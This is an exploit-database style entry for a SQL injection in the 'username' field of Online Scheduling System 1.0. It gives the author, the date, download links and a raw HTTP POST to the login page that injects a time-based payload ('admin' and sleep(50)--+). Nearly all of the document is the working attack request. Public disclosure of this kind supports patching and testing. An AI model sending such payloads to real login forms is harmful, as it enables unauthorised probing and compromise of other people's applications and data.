Online Scheduling System 1.0 - 'username' SQL Injection

# Exploit Title: Online Scheduling System 1.0 - 'username' SQL Injection
# Date: 2020-05-04
# Exploit Author: Saurav Shukla
# Vendor Homepage: https://www.sourcecodester.com/php/14168/online-scheduling-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-scheduling-system.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

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#parameter Vulnerable: username
# Injected Request
POST /oss/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://localhost
Connection: close
Referer: http://localhost/oss/Register.php
Cookie: PHPSESSID=091v1e2g6109rrbduk924psea9
Upgrade-Insecure-Requests: 1

username=admin' and sleep(50)--+&password=admin&lgn=Add